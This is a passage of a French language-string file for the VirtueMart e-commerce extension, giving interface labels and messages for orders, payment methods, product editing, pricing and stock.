      Laissez vide si vous n'êtes pas sûr de ce qu'il faut remplir " COM_VIRTUEMART_ORDER_EXPORT_CONFIG="Configuration de l'exportation des commandes" COM_VIRTUEMART_ORDER_EXPORT_CONFIG_TIP="Vous pouvez configurer votre export. Votre code PHP doit être validé." COM_VIRTUEMART_ORDER_HISTORY="Historique commande" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Commentaire" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Commentaires sur votre commande : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="Avertir le client ?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Date ajoutée" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="Inclure ce commentaire ?" COM_VIRTUEMART_ORDER_ID="ID de la Commande" COM_VIRTUEMART_ORDER_ITEM="Articles commandés" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Étiquette n'a pas été encore générée" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Commande introuvable dans la base de données des libellés de livraison." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Merci de fournir une ID de commande valide et numérique et non pas '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Libellé de livraison" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature jamais retrouvée" COM_VIRTUEMART_ORDER_LINK="Suivez ce lien pour voir les détails de la commande." COM_VIRTUEMART_ORDER_LIST_ID="ID de commande" COM_VIRTUEMART_ORDER_LIST_LBL="Liste des commandes" COM_VIRTUEMART_ORDER_LIST_MDATE="Modifiée le" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Avertir le client ?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Veuillez modifier le statut de la commande" COM_VIRTUEMART_ORDER_LIST_NUMBER="Commande numéro" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Libellé Imprimer" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Chercher par date" COM_VIRTUEMART_ORDER_LIST_STATUS="Statut" COM_VIRTUEMART_ORDER_LIST_TRACK="Suivi" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Libellé vide" COM_VIRTUEMART_ORDER_MOD="Commandes & Clients" COM_VIRTUEMART_ORDER_NOTFOUND="Aucune commande n'a été trouvée. Elle a peut être été effacée." COM_VIRTUEMART_ORDER_NOT_UPDATED="Aucune modification n'a été faite.Veuillez changer le statut avant de l'enregistrer." COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="{X} commandes ont eu une erreur" COM_VIRTUEMART_ORDER_NUMBER="Numéro de la Commande" COM_VIRTUEMART_ORDER_PAYMENT_CCV_CODE="Code CVV" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NAME="Nom du compte" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NUMBER="Numéro de compte" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_1="Adresse" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_2="Complément d'adresse" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Facturée à" COM_VIRTUEMART_ORDER_PRINT_CITY="Ville" COM_VIRTUEMART_ORDER_PRINT_COMPANY="Société" COM_VIRTUEMART_ORDER_PRINT_COUNTRY="Pays" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Remarques du client" COM_VIRTUEMART_ORDER_PRINT_CUST_BILLING_LBL="Informations de facturation" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Informations client" COM_VIRTUEMART_ORDER_PRINT_CUST_SHIPPING_LBL="Informations de livraison" COM_VIRTUEMART_ORDER_PRINT_EMAIL="E-mail" COM_VIRTUEMART_ORDER_PRINT_EXPIRE_DATE="Date d'expiration" COM_VIRTUEMART_ORDER_PRINT_FAX="Fax" COM_VIRTUEMART_ORDER_PRINT_ITEMEDIT_LBL="Modifier les articles de la commande" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Statut du produit commandé" COM_VIRTUEMART_ORDER_PRINT_NAME="Nom" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Frais de paiement" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Mode de Paiement" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="TVA paiement" COM_VIRTUEMART_ORDER_PRINT_PHONE="Téléphone" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Date de commande" COM_VIRTUEMART_ORDER_PRINT_PO_ID="ID de la commande" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="Adresse IP" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Bon de commande" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Numéro de commande" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="Clé secrète" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Statut de la commande" COM_VIRTUEMART_ORDER_PRINT_PRICE="Prix Unitaire" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Statut produit" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="TVA" COM_VIRTUEMART_ORDER_PRINT_QTY="Qté" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Quantité" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Livraison" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Frais de livraison" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Mode de livraison" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Montant de la livraison" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="TVA sur la livraison" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Livrée à" COM_VIRTUEMART_ORDER_PRINT_SKU="Réf." COM_VIRTUEMART_ORDER_PRINT_STATE="État/Province/Région" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="Sous-total" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Remise" COM_VIRTUEMART_ORDER_PRINT_TAX="TVA" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Total TTC" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Total dû" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Total TVA" COM_VIRTUEMART_ORDER_PRINT_ZIP="Code Postal" COM_VIRTUEMART_ORDER_S="Commandes" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Annulé" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="Le statut de votre commande No. %s a été modifié." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="Le nouveau statut est : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="Pour voir les détails de la commande, cliquez sur le lien (ou copiez-le dans votre navigateur):" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Modification du statut de la commande" COM_VIRTUEMART_ORDER_STATUS_CODE="Code statut de commande" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Code de statut de commande utilisé par VirtueMart. Ne peut pas être supprimé." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="Ce statut de commande existe déjà. Veuillez en choisir un autre." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Le code de statut de commande ne doit avoir qu'un seul caractère" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Confirmé" COM_VIRTUEMART_ORDER_STATUS_NAME="Nom du statut de la commande" COM_VIRTUEMART_ORDER_STATUS_PENDING="En attente" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Remboursé" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Expédié" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="Produit est disponible" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Mouvement du stock" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Choisissez le mouvement de stock à effectuer lors du changement de statut de la commande.
      Les produits réservés sont déduits du stok disponible, mais sont toujours dans le stock réel" COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="Produit est retiré" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="Produit est réservé" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="%1$s commande(s) mise(s) à jour" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="Mise à jour du statut pour les produits" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Mettre à jour le statut" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="Liste des commandes VirtueMart" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="Liste des commandes VirtueMart" COM_VIRTUEMART_OVERWRITE_FINAL="Surcharge le prix final" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Surcharge le prix avant TVA" COM_VIRTUEMART_PAYMENT="Paiement" COM_VIRTUEMART_PAYMENTMETHOD="Mode de paiement" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="La classe de paiement sélectionnée ne peut être instanciée car elle n'existe pas." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="Code unique pour le mode de paiement (exemple PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Veuillez entrer un code pour le paiement." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Veuillez entrer un nom pour le paiement." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Nom de la classe de paiement" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Remise" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Activer type mode de paiement" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Nom du mode de paiement" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Groupe de clients" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Erreur: ID du mode de paiement non trouvé." COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Remise" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Activer type mode de paiement" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Nom" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Groupe Client" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Ce nom de mode de paiement existe déjà ! Veuillez choisir un autre nom." COM_VIRTUEMART_PAYMENTMETHOD_S="Modes de Paiement" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="S'il vous plaît, sélectionnez un mode de paiement à mettre à jour." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Paiement annulé par le client" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Mode de paiement" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Sélectionnez le mode de paiement, et cliquez sur le bouton 'Appliquer' pour faire apparaître les paramètres adéquats dans la tabulation Configuration" COM_VIRTUEMART_PAYMENT_ELEMENT="Nom de la méthode" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Description du mode de paiement" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Description du mode de paiement" COM_VIRTUEMART_PAYMENT_LIST_LBL="Liste des modes de paiement" COM_VIRTUEMART_PAYMENT_LIST_NAME="Nom" COM_VIRTUEMART_PAYMENT_NAME="Nom du paiement" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Groupe d'utilisateur" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Paiement accepté" COM_VIRTUEMART_PAYMENT_TYPE="Type de méthode" COM_VIRTUEMART_PDF_ICON_SHOW="Afficher l'icône pdf" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Activer ou désactiver l'icône pdf sur la page de description du produit" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="Le groupe d'accès doit avoir un nom" COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="Le groupe d'accès contient des caractères non autorisés." COM_VIRTUEMART_PLEASE_SEL_ITEM="Veuillez sélectionner un article" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Réduction/frais" COM_VIRTUEMART_PLUGIN_WARNING="Les plug-ins de livraison ou de paiement de VirtueMart doivent se configurer dans le composant lui même.
      Aucun paramètre saisi sur cette page ne sera pris en compte." COM_VIRTUEMART_PN_DISPLAY_NR="Affiche #" COM_VIRTUEMART_PREVIEW="Prévisualiser" COM_VIRTUEMART_PRINT="Imprimer" COM_VIRTUEMART_PRINT_VIEW="Imprimer" COM_VIRTUEMART_PRODUCT="Produit" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Sélectionner un produit" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Créer un lien vers l'affichage du produit sélectionné" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produit" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Définit l'affichage des produits" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Affiche un seul produit" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Affiche la fiche détaillée d'un produit" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Déplacer les produits" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Un incident est survenu lors de la tentative d'ajout du produit" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Ajouter un Produit enfant" COM_VIRTUEMART_PRODUCT_ALIAS="Alias du produit" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Disponibilité du produit" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="Il devrait être disponible à nouveau le :" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Date de disponibilité du produit" COM_VIRTUEMART_PRODUCT_BASEPRICE="Prix de base" COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Prix de base pour le variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Prix de base avec taxes " COM_VIRTUEMART_PRODUCT_BOX="Nombre de produits dans le lot" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="Dans le cas d'un lot, précisez le nombre de produits contenus dans le lot." COM_VIRTUEMART_PRODUCT_CALL="Contactez-nous pour un tarif" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Impossible de supprimer les produits enfants" COM_VIRTUEMART_PRODUCT_CATEGORY="Catégorie du produit" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Nom de la catégorie" COM_VIRTUEMART_PRODUCT_CHILD="Produits enfants" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Produits enfants" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Ce produit est enfant de ?" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Produit enfant créé" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Produit enfant" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Nom du produit Enfant" COM_VIRTUEMART_PRODUCT_CLONE="Cloner le produit" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="Produit cloné" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Cloner aussi les éléments enfants" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Cloner les options du produit" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Créer un produit enfant" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Champ personnalisé" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Personnalisé
      %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Champs personnalisés" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="Groupe client par défaut" COM_VIRTUEMART_PRODUCT_DESC="Description du Produit" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description du produit" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Fournisseurs" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Mise en page du produit" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="De" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Unité de mesure" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Prix remisé" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="Vous pouvez utiliser le formulaire de remises sur produits pour ajouter des remises" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="La remise produit a été ajoutée." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Remise" COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Type de remise" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Le montant est un pourcentage ou un total ?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Aucune règle" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Appliquer les règles génériques" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Prix réduit" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="Vous pouvez utiliser cette réduction pour un produit" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Editer le produit enfant" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Envoyer un email aux clients" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Message" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Envoyé le" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Merci de préciser un message pour l'email" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Merci de préciser un sujet pour l'email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="Aucun client n'a acheté ce produit" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Sélectionner le statut du produit" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Sélectionner le statut du produit des commandes pour afficher la liste de clientsSelect the order product status of the orders to display the list of the shoppers who will received the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Envoyer email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Envoyer un email aux clients" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Envoyer un email aux clients ayant acheté ce produit (%d client(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message à propos du produit %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Sujet" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Poser une question sur ce produit" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Retour à la liste de produit" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Recherche de produit" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Alias" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Saisir ici tout texte qui sera affiché au client sur la fiche produit.
      ex.: 24 h, 48 heures, 3 à 5 jours, Sur Commande....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OU sélectionner une image à afficher sur la fiche produit (flypage).
      Les images se trouvent dans le répertoire %s
      " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Date de disponibilité" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Précisez le nombre de pièces dans le lot. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calcul du prix de revient" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Cochez cette case pour calculer le prix de revient à partir du prix final désiré" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Produits Parent & Enfants" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="Modificateur de prix Taxes incluses" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Modificateur de prix Hors Taxes" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Êtes-vous sûr de vouloir supprimer cet item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Êtes-vous certain(e) de vouloir effacer ce produit
      et les éléments qui lui sont associés ?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Prix réduit" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Prix final réduit" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Remise" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Type de remise" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Modifier ce produit" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Hauteur" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="En stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Dimensions et poids" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="information sur l'élément" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Statut de l'élément" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Longueur" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Quantité d'achat maximum" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Quantité d'achat minimum" COM_VIRTUEMART_PRODUCT_FORM_NAME="Nom" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="Nouveau produit" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Commandés et non livrés" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Nombre de pièces dans l'emballage" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Précisez le nombre de pièces dans l'emballage. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Produit Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Modifier le parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Prix du produit" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Prix de base" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Prix de base TTC" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="Prix de base dans la devise du vendeur" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Prix de revient" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="Prix de revient actuel dans la devise sélectionnée" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Prix final" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="Le prix final est le prix de base auquel sont appliquées les règles de calcul dans la devise du vendeur" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Prix de vente (TTC)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Prix HT" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Prix " COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="TVA" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Champs personnalisés" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Dimensions et poids du produit" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Images du produit" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Informations produit" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Liste de Produit enfant" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Statut du produit" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Types de Produits" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Variantes du produit" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Propriété" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="Nouvelle propriété" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="Publier ?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Prix du produit" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Surcharge des règles de prix" COM_VIRTUEMART_PRODUCT_FORM_SKU="Réf." COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="Produit vedette" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Résumé" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unité" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="pièce" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Mise à jour de l'item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendeur" COM_VIRTUEMART_PRODUCT_HEIGHT="Hauteur" COM_VIRTUEMART_PRODUCT_ID="ID du Produit" COM_VIRTUEMART_PRODUCT_ID_MISSING="L'ID du produit est manquante." COM_VIRTUEMART_PRODUCT_IMAGE="Image du produit" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="L'URL de l'image doit commencer par http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Impossible de supprimer les images des produits" COM_VIRTUEMART_PRODUCT_INFORMATION="Information Produit" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventaire" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Valeur du stock" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Valeur" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Poids" COM_VIRTUEMART_PRODUCT_IN_STOCK="Produit en Stock" COM_VIRTUEMART_PRODUCT_LENGTH="Longueur" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Rechercher un produit" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="Après" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="Avant" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="avec prix modifié" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modifié" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="sans prix" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="Parent uniquement" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendeur" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="Lister tous les enfants de %s" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="Le stock du produit %s est de %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="Le produit %s a un niveau de stock faible" COM_VIRTUEMART_PRODUCT_LWH_UOM="Unité de mesure Longueur/Poids/Hauteur" COM_VIRTUEMART_PRODUCT_MASSXREF="Association avec des produits sélectionnés (catégories, groupes client)" COM_VIRTUEMART_PRODUCT_MEDIA="Fichier média" COM_VIRTUEMART_PRODUCT_MOD="Produits" COM_VIRTUEMART_PRODUCT_NAME="Nom du produit" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Nom du produit" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Affiche la navigation par produit" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Affiche la navigation par produit en haut de la page" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Nombre d'email envoyé" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Nombre de client pour l'envoi de l'email (ne pas remplir pour tout le monde)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Alerte pour les utilisateurs" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="Le produit n'a pu être cloné" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Désolé, mais le produit que vous avez demandé n'a pas été trouvé !" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Le produit enfant n'a pu être créé" COM_VIRTUEMART_PRODUCT_OF="de" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Niveaux de commande des produits" COM_VIRTUEMART_PRODUCT_PACKAGING="Format" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="Dans le cas où votre produit est vendu par unités (mètres, grammes, litres), entrez ici le montant. Par exemple 0.7 pour une bouteille de 0,7 %1$s L ou 2.5 pour 250 ml dans le cas où vous avez choisi pour %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Produit enfants ?" COM_VIRTUEMART_PRODUCT_PRICE="Prix" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Prix HT" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Note interne" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Type de produit" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Trouver des produits ou des catégories en relation :" 